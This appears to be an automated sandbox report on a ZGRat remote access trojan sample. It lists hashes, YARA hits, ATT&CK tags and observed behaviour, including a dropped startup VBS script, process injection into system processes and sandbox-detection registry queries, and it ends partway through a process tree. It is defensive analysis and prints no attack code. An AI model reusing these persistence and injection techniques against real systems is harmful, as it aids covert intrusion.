zgrat | fe74f06d7437d213d96466b4475db2809c60a4e8aced9df338f4a71cf9bc7c16

Analysis

max time kernel
150s
max time network
96s
platform
windows10-2004_x64
resource
win10v2004-20240426-en
resource tags

arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
submitted
15-05-2024 02:06

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General

Target

fe74f06d7437d213d96466b4475db2809c60a4e8aced9df338f4a71cf9bc7c16.exe
Size

4.5MB
MD5

96422a2b982c99614d31dff7f2b64680
SHA1

e8f25aa518b0ef54bcdf770479ef28dd99dd8efc
SHA256

fe74f06d7437d213d96466b4475db2809c60a4e8aced9df338f4a71cf9bc7c16
SHA512

882beba69a0ab2d6f7d048ecb4666b9ba4fe3ea17387ece13fb5bd589ce0db4d7343fbce6e2d836192aed2a920aae4edd1f4b6fa090fe807d54e024dbc234de9
SSDEEP

24576:Epu+lTdASQBeSbtpO2+RZ8XK5OG/wS4gIVnxff9t+oQ9GXiqgbaaz2ub2UbRdL/h:EX

Score

10^/10

zgrat rat

Malware Config

Signatures

Detect ZGRat V1 33 IoCs

Processes:

resource	yara_rule
behavioral2/memory/1808-2-0x0000000006540000-0x0000000006780000-memory.dmp	family_zgrat_v1
behavioral2/memory/1808-50-0x0000000006540000-0x000000000677A000-memory.dmp	family_zgrat_v1
behavioral2/memory/1808-54-0x0000000006540000-0x000000000677A000-memory.dmp	family_zgrat_v1
behavioral2/memory/1808-68-0x0000000006540000-0x000000000677A000-memory.dmp	family_zgrat_v1
behavioral2/memory/1808-62-0x0000000006540000-0x000000000677A000-memory.dmp	family_zgrat_v1
behavioral2/memory/1808-60-0x0000000006540000-0x000000000677A000-memory.dmp	family_zgrat_v1
behavioral2/memory/1808-58-0x0000000006540000-0x000000000677A000-memory.dmp	family_zgrat_v1
behavioral2/memory/1808-56-0x0000000006540000-0x000000000677A000-memory.dmp	family_zgrat_v1
behavioral2/memory/1808-52-0x0000000006540000-0x000000000677A000-memory.dmp	family_zgrat_v1
behavioral2/memory/1808-66-0x0000000006540000-0x000000000677A000-memory.dmp	family_zgrat_v1
behavioral2/memory/1808-46-0x0000000006540000-0x000000000677A000-memory.dmp	family_zgrat_v1
behavioral2/memory/1808-38-0x0000000006540000-0x000000000677A000-memory.dmp	family_zgrat_v1
behavioral2/memory/1808-36-0x0000000006540000-0x000000000677A000-memory.dmp	family_zgrat_v1
behavioral2/memory/1808-34-0x0000000006540000-0x000000000677A000-memory.dmp	family_zgrat_v1
behavioral2/memory/1808-32-0x0000000006540000-0x000000000677A000-memory.dmp	family_zgrat_v1
behavioral2/memory/1808-30-0x0000000006540000-0x000000000677A000-memory.dmp	family_zgrat_v1
behavioral2/memory/1808-48-0x0000000006540000-0x000000000677A000-memory.dmp	family_zgrat_v1
behavioral2/memory/1808-44-0x0000000006540000-0x000000000677A000-memory.dmp	family_zgrat_v1
behavioral2/memory/1808-42-0x0000000006540000-0x000000000677A000-memory.dmp	family_zgrat_v1
behavioral2/memory/1808-40-0x0000000006540000-0x000000000677A000-memory.dmp	family_zgrat_v1
behavioral2/memory/1808-28-0x0000000006540000-0x000000000677A000-memory.dmp	family_zgrat_v1
behavioral2/memory/1808-26-0x0000000006540000-0x000000000677A000-memory.dmp	family_zgrat_v1
behavioral2/memory/1808-24-0x0000000006540000-0x000000000677A000-memory.dmp	family_zgrat_v1
behavioral2/memory/1808-22-0x0000000006540000-0x000000000677A000-memory.dmp	family_zgrat_v1
behavioral2/memory/1808-20-0x0000000006540000-0x000000000677A000-memory.dmp	family_zgrat_v1
behavioral2/memory/1808-18-0x0000000006540000-0x000000000677A000-memory.dmp	family_zgrat_v1
behavioral2/memory/1808-16-0x0000000006540000-0x000000000677A000-memory.dmp	family_zgrat_v1
behavioral2/memory/1808-14-0x0000000006540000-0x000000000677A000-memory.dmp	family_zgrat_v1
behavioral2/memory/1808-12-0x0000000006540000-0x000000000677A000-memory.dmp	family_zgrat_v1
behavioral2/memory/1808-8-0x0000000006540000-0x000000000677A000-memory.dmp	family_zgrat_v1
behavioral2/memory/1808-10-0x0000000006540000-0x000000000677A000-memory.dmp	family_zgrat_v1
behavioral2/memory/1808-6-0x0000000006540000-0x000000000677A000-memory.dmp	family_zgrat_v1
behavioral2/memory/1808-5-0x0000000006540000-0x000000000677A000-memory.dmp	family_zgrat_v1

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

Processes:

powershell.EXE

description pid process target process

PID 3292 created 616 3292 powershell.EXE smss.exe
ZGRat
ZGRat is remote access trojan written in C#.
rat zgrat
Drops startup file 1 IoCs

Processes:

fe74f06d7437d213d96466b4475db2809c60a4e8aced9df338f4a71cf9bc7c16.exe

description ioc process

File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77Wakgksusfez.vbs fe74f06d7437d213d96466b4475db2809c60a4e8aced9df338f4a71cf9bc7c16.exe
Executes dropped EXE 2 IoCs

Processes:

$77ef04f5$77c2e67a

pid process

2028 $77ef04f5
1188 $77c2e67a

description	pid	process	target process
PID 3292 created 616	3292	powershell.EXE	smss.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77Wakgksusfez.vbs	fe74f06d7437d213d96466b4475db2809c60a4e8aced9df338f4a71cf9bc7c16.exe

pid	process
2028	$77ef04f5
1188	$77c2e67a

Drops file in System32 directory 14 IoCs

Processes:

svchost.exesvchost.exepowershell.EXEsvchost.exeOfficeClickToRun.exe

description	ioc	process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_363582827213C09529A76F35FB615187	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4UserMode.evtx	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml	OfficeClickToRun.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4KernelMode.evtx	svchost.exe

Suspicious use of SetThreadContext 3 IoCs

Processes:

fe74f06d7437d213d96466b4475db2809c60a4e8aced9df338f4a71cf9bc7c16.exepowershell.EXE

description	pid	process	target process
PID 1808 set thread context of 2028	1808	fe74f06d7437d213d96466b4475db2809c60a4e8aced9df338f4a71cf9bc7c16.exe	$77ef04f5
PID 3292 set thread context of 2504	3292	powershell.EXE	dllhost.exe
PID 1808 set thread context of 1188	1808	fe74f06d7437d213d96466b4475db2809c60a4e8aced9df338f4a71cf9bc7c16.exe	smss.exe

Checks processor information in registry 2 TTPs 4 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

mousocoreworker.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	mousocoreworker.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	mousocoreworker.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	mousocoreworker.exe

Enumerates system info in registry 2 TTPs 2 IoCs

Query Registry
T1012

System Information Discovery
T1082

Processes:

mousocoreworker.exe

description ioc process

Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU mousocoreworker.exe
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS mousocoreworker.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	mousocoreworker.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	mousocoreworker.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

svchost.exeOfficeClickToRun.exepowershell.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\trust\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\trust\Certificates	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CTLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CTLs	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={5259035C-F981-4DC7-B468-06F33B83B4B9}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&"	OfficeClickToRun.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CTLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Root\Certificates	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\trust\CRLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CTLs	svchost.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	svchost.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1715738860"	OfficeClickToRun.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CRLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.EXEdllhost.exefe74f06d7437d213d96466b4475db2809c60a4e8aced9df338f4a71cf9bc7c16.exe

pid	process
3292	powershell.EXE
3292	powershell.EXE
3292	powershell.EXE
2504	dllhost.exe
2504	dllhost.exe
2504	dllhost.exe
2504	dllhost.exe
2504	dllhost.exe
2504	dllhost.exe
2504	dllhost.exe
2504	dllhost.exe
2504	dllhost.exe
2504	dllhost.exe
2504	dllhost.exe
2504	dllhost.exe
2504	dllhost.exe
2504	dllhost.exe
2504	dllhost.exe
2504	dllhost.exe
2504	dllhost.exe
2504	dllhost.exe
2504	dllhost.exe
2504	dllhost.exe
2504	dllhost.exe
2504	dllhost.exe
2504	dllhost.exe
2504	dllhost.exe
2504	dllhost.exe
2504	dllhost.exe
2504	dllhost.exe
2504	dllhost.exe
1808	fe74f06d7437d213d96466b4475db2809c60a4e8aced9df338f4a71cf9bc7c16.exe
2504	dllhost.exe
2504	dllhost.exe
2504	dllhost.exe
2504	dllhost.exe
2504	dllhost.exe
2504	dllhost.exe
2504	dllhost.exe
2504	dllhost.exe
2504	dllhost.exe
2504	dllhost.exe
2504	dllhost.exe
2504	dllhost.exe
2504	dllhost.exe
2504	dllhost.exe
2504	dllhost.exe
2504	dllhost.exe
2504	dllhost.exe
2504	dllhost.exe
2504	dllhost.exe
2504	dllhost.exe
2504	dllhost.exe
2504	dllhost.exe
2504	dllhost.exe
2504	dllhost.exe
2504	dllhost.exe
2504	dllhost.exe
2504	dllhost.exe
2504	dllhost.exe
2504	dllhost.exe
2504	dllhost.exe
2504	dllhost.exe
2504	dllhost.exe

Suspicious behavior: LoadsDriver 64 IoCs

Processes:

smss.exe

pid	process
1812
4692
3956
1460
4608
880
2392
3712
2704
1016
3732
3744
1432
1688
788
1788
1276
3996
5028
848
852
1652
3648
624
844
1828	smss.exe
3760
2724
456
5112
4400
116
1960
3172
448
3740
4952
3124
5084
4028
3484
4984
3228
3532
4900
1620
1524
4880
3572
868
2464
1416
4616
3388
3156
5032
4076
4024
2472
2560
368
1496
3624
2040

Suspicious use of AdjustPrivilegeToken 32 IoCs

Processes:

fe74f06d7437d213d96466b4475db2809c60a4e8aced9df338f4a71cf9bc7c16.exepowershell.EXEdllhost.exeExplorer.EXEsvchost.exemousocoreworker.exe

description	pid	process
Token: SeDebugPrivilege	1808	fe74f06d7437d213d96466b4475db2809c60a4e8aced9df338f4a71cf9bc7c16.exe
Token: SeDebugPrivilege	3292	powershell.EXE
Token: SeDebugPrivilege	3292	powershell.EXE
Token: SeDebugPrivilege	2504	dllhost.exe
Token: SeShutdownPrivilege	3520	Explorer.EXE
Token: SeCreatePagefilePrivilege	3520	Explorer.EXE
Token: SeAuditPrivilege	2796	svchost.exe
Token: SeShutdownPrivilege	3520	Explorer.EXE
Token: SeCreatePagefilePrivilege	3520	Explorer.EXE
Token: SeShutdownPrivilege	3520	Explorer.EXE
Token: SeCreatePagefilePrivilege	3520	Explorer.EXE
Token: SeShutdownPrivilege	3520	Explorer.EXE
Token: SeCreatePagefilePrivilege	3520	Explorer.EXE
Token: SeShutdownPrivilege	3520	Explorer.EXE
Token: SeCreatePagefilePrivilege	3520	Explorer.EXE
Token: SeShutdownPrivilege	3520	Explorer.EXE
Token: SeCreatePagefilePrivilege	3520	Explorer.EXE
Token: SeShutdownPrivilege	3520	Explorer.EXE
Token: SeCreatePagefilePrivilege	3520	Explorer.EXE
Token: SeDebugPrivilege	1808	fe74f06d7437d213d96466b4475db2809c60a4e8aced9df338f4a71cf9bc7c16.exe
Token: SeShutdownPrivilege	3520	Explorer.EXE
Token: SeCreatePagefilePrivilege	3520	Explorer.EXE
Token: SeShutdownPrivilege	3520	Explorer.EXE
Token: SeCreatePagefilePrivilege	3520	Explorer.EXE
Token: SeShutdownPrivilege	1836	mousocoreworker.exe
Token: SeCreatePagefilePrivilege	1836	mousocoreworker.exe
Token: SeShutdownPrivilege	1836	mousocoreworker.exe
Token: SeCreatePagefilePrivilege	1836	mousocoreworker.exe
Token: SeShutdownPrivilege	1836	mousocoreworker.exe
Token: SeCreatePagefilePrivilege	1836	mousocoreworker.exe
Token: SeShutdownPrivilege	1836	mousocoreworker.exe
Token: SeCreatePagefilePrivilege	1836	mousocoreworker.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

fe74f06d7437d213d96466b4475db2809c60a4e8aced9df338f4a71cf9bc7c16.exepowershell.EXEdllhost.exesvchost.exelsass.exe

description	pid	process	target process
PID 1808 wrote to memory of 2028	1808	fe74f06d7437d213d96466b4475db2809c60a4e8aced9df338f4a71cf9bc7c16.exe	$77ef04f5
PID 1808 wrote to memory of 2028	1808	fe74f06d7437d213d96466b4475db2809c60a4e8aced9df338f4a71cf9bc7c16.exe	$77ef04f5
PID 1808 wrote to memory of 2028	1808	fe74f06d7437d213d96466b4475db2809c60a4e8aced9df338f4a71cf9bc7c16.exe	$77ef04f5
PID 1808 wrote to memory of 2028	1808	fe74f06d7437d213d96466b4475db2809c60a4e8aced9df338f4a71cf9bc7c16.exe	$77ef04f5
PID 1808 wrote to memory of 2028	1808	fe74f06d7437d213d96466b4475db2809c60a4e8aced9df338f4a71cf9bc7c16.exe	$77ef04f5
PID 1808 wrote to memory of 2028	1808	fe74f06d7437d213d96466b4475db2809c60a4e8aced9df338f4a71cf9bc7c16.exe	$77ef04f5
PID 1808 wrote to memory of 2028	1808	fe74f06d7437d213d96466b4475db2809c60a4e8aced9df338f4a71cf9bc7c16.exe	$77ef04f5
PID 1808 wrote to memory of 2028	1808	fe74f06d7437d213d96466b4475db2809c60a4e8aced9df338f4a71cf9bc7c16.exe	$77ef04f5
PID 1808 wrote to memory of 2028	1808	fe74f06d7437d213d96466b4475db2809c60a4e8aced9df338f4a71cf9bc7c16.exe	$77ef04f5
PID 3292 wrote to memory of 2504	3292	powershell.EXE	dllhost.exe
PID 3292 wrote to memory of 2504	3292	powershell.EXE	dllhost.exe
PID 3292 wrote to memory of 2504	3292	powershell.EXE	dllhost.exe
PID 3292 wrote to memory of 2504	3292	powershell.EXE	dllhost.exe
PID 3292 wrote to memory of 2504	3292	powershell.EXE	dllhost.exe
PID 3292 wrote to memory of 2504	3292	powershell.EXE	dllhost.exe
PID 3292 wrote to memory of 2504	3292	powershell.EXE	dllhost.exe
PID 3292 wrote to memory of 2504	3292	powershell.EXE	dllhost.exe
PID 2504 wrote to memory of 616	2504	dllhost.exe	smss.exe
PID 2504 wrote to memory of 668	2504	dllhost.exe	lsass.exe
PID 2504 wrote to memory of 956	2504	dllhost.exe	svchost.exe
PID 2504 wrote to memory of 332	2504	dllhost.exe	smss.exe
PID 2504 wrote to memory of 744	2504	dllhost.exe	svchost.exe
PID 2504 wrote to memory of 896	2504	dllhost.exe	svchost.exe
PID 2504 wrote to memory of 1064	2504	dllhost.exe	svchost.exe
PID 2504 wrote to memory of 1108	2504	dllhost.exe	svchost.exe
PID 2504 wrote to memory of 1204	2504	dllhost.exe	svchost.exe
PID 2504 wrote to memory of 1212	2504	dllhost.exe	svchost.exe
PID 2504 wrote to memory of 1300	2504	dllhost.exe	svchost.exe
PID 2504 wrote to memory of 1316	2504	dllhost.exe	svchost.exe
PID 2504 wrote to memory of 1356	2504	dllhost.exe	svchost.exe
PID 2504 wrote to memory of 1452	2504	dllhost.exe	svchost.exe
PID 2504 wrote to memory of 1484	2504	dllhost.exe	svchost.exe
PID 2504 wrote to memory of 1544	2504	dllhost.exe	svchost.exe
PID 2504 wrote to memory of 1556	2504	dllhost.exe	svchost.exe
PID 2504 wrote to memory of 1656	2504	dllhost.exe	svchost.exe
PID 2504 wrote to memory of 1704	2504	dllhost.exe	svchost.exe
PID 2504 wrote to memory of 1756	2504	dllhost.exe	svchost.exe
PID 2504 wrote to memory of 1780	2504	dllhost.exe	svchost.exe
PID 2504 wrote to memory of 1872	2504	dllhost.exe	svchost.exe
PID 2504 wrote to memory of 1976	2504	dllhost.exe	svchost.exe
PID 2504 wrote to memory of 1988	2504	dllhost.exe	svchost.exe
PID 2504 wrote to memory of 2032	2504	dllhost.exe	svchost.exe
PID 2504 wrote to memory of 1832	2504	dllhost.exe	svchost.exe
PID 2504 wrote to memory of 2052	2504	dllhost.exe	svchost.exe
PID 2504 wrote to memory of 2148	2504	dllhost.exe	spoolsv.exe
PID 2504 wrote to memory of 2232	2504	dllhost.exe	svchost.exe
PID 2504 wrote to memory of 2272	2504	dllhost.exe	svchost.exe
PID 2504 wrote to memory of 2524	2504	dllhost.exe	svchost.exe
PID 2504 wrote to memory of 2532	2504	dllhost.exe	svchost.exe
PID 2504 wrote to memory of 2660	2504	dllhost.exe	smss.exe
PID 2504 wrote to memory of 2676	2504	dllhost.exe	smss.exe
PID 2504 wrote to memory of 2752	2504	dllhost.exe	svchost.exe
PID 1452 wrote to memory of 1828	1452	svchost.exe	smss.exe
PID 1452 wrote to memory of 1828	1452	svchost.exe	smss.exe
PID 2504 wrote to memory of 1828	2504	dllhost.exe	smss.exe
PID 2504 wrote to memory of 2796	2504	dllhost.exe	svchost.exe
PID 668 wrote to memory of 2824	668	lsass.exe	sysmon.exe
PID 2504 wrote to memory of 2808	2504	dllhost.exe	smss.exe
PID 2504 wrote to memory of 2824	2504	dllhost.exe	sysmon.exe
PID 2504 wrote to memory of 2844	2504	dllhost.exe	svchost.exe
PID 2504 wrote to memory of 2864	2504	dllhost.exe	svchost.exe
PID 668 wrote to memory of 2824	668	lsass.exe	sysmon.exe
PID 1452 wrote to memory of 2464	1452	svchost.exe	smss.exe
PID 1452 wrote to memory of 2464	1452	svchost.exe	smss.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
- Suspicious use of WriteProcessMemory
PID:668

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:956

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:744

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:896

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1064

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1108

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
- Drops file in System32 directory
PID:1204

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
